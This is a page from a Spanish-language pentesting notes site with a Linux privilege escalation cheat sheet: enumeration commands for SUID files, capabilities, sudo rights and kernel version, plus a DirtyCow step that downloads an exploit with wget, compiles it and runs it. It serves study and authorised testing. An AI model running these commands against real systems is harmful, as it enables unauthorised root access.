CyberSec Notes
  • Bienvenida
    • CyberSec Notes
  • Network Services
    • Port 21 - FTP
    • Port 22 - SSH
    • Port 23 - Telnet
    • Port 25 - SMTP
    • Port 53 - DNS
      • Deploy DNS Server with BIND
    • Port 80/443 - HTTP/HTTPS
      • Wordpress
      • CMS Made Simple (CMSMS)
    • Port 88 - Kerberos
    • Port 386, 636, 3268, 3269 - LDAP
    • Port 445 - SMB
    • Port 1521,1522-1529 - Oracle TNS Listener
    • Port 3128 - Squid
    • Port 5985, 5986 - WinRM
  • Command && Control
    • Sliver C2 [in progress]
  • Ataques en Entornos Windows
    • MalDev
      • AV Evasion
        • Function call obfuscation
      • Code Samples
        • Shellcode Execution C#
        • Shellcode Execution C++
        • Stager HTTP C#
        • Stager HTTP C++
        • Process Inyection C++
        • Process Inyection C#
        • XOR Encrypt C++
    • Directorio Activo
      • Spriying
      • Autenticacion Net-NTLMv2 y tipos de hashes
        • Pass the Hash
        • SMB Relay
      • Autenticación Kerberos
        • Extensiones del protocolo Kerberos (SPNs & PACs)
        • AS_REP Roasting
        • Kerberoasting
        • Silver Ticket Attack
        • Golden Ticket Attack
      • DCSync
      • Mimikatz
      • BloodHound
      • Privilege Escalation
        • PS Credentials in XML format
      • Utils
    • Amsi Bypass
    • Buffer Overflow
      • Stack Based 32 bits [in progress]
        • Windows SLMail 5.5
  • Ataques en Entornos Linux
    • Privilege escalation [in progress]
    • MalDev
      • Simple Reverse Shell
    • Buffer Over Flow
      • Stack Based 32 bits
        • Linux, Vulnerable functions in C programs
    • Persistencia
  • General
    • Host Discovery
    • Reverse Shells Cheet Sheet
    • Pivoting
      • Chisel
      • Port Forwarding
      • Nmap con pivoting
    • Google Dorks [in progress]
    • Denial of Service (DoS)
      • Low and Slow
    • Docker
  • Pentesting Web
    • XML External Entity Injection(XXE)
      • Portswigger Lab #1: Retrieve Files
      • Portswigger Lab #2: Perform SSRF
      • Portswigger Lab #6: Blind XXE to retrieve data via error messages
    • Open Redirect
    • LFI
      • Log Poisoning (Apache, SSH y SMPT)
  • Wireless Pentesting
    • Pre Connection Attacks
      • WEP
      • WPA/WPA2
    • Post Connection Attacks
      • ARP Spoof
    • Fake AP for Captive Portal
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On this page
  • OS Info
  • SUDO Perms && SUID Files && Capabilities
  • Kernel enumerate
  • Services Running
  • LinPeass
  1. Ataques en Entornos Linux

Privilege escalation [in progress]

OS Info

lsb_release -a
getconf LONG_BIT # 32 or 64 bits linux
cat /etc/os-release 
cat /etc/redhat-release # redhat  dists

SUDO Perms && SUID Files && Capabilities

sudo -l # si aparece algo -> https://gtfobins.github.io/

find / \-perm -4000 2>/dev/null # Suid
getcap -r / 2>/dev/null # caps

find / \-user <user> 2>/dev/null # buscar archivos q pertezcan al user x

Kernel enumerate

cat /proc/version
uname -a
+------------+
searchexploit "Linux Kernel X.X"

Services Running

systemctl --type=service --state=running
systemd-cgtop
ps aux
ps -ef
top -n 1
service --status-all

DirtyCow (Linux Kernel <= 3.19.0-73.8)

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

wget https://github.com/FireFart/dirtycow/blob/master/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
./dirty <new-pass>

LinPeass

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Last updated 1 year ago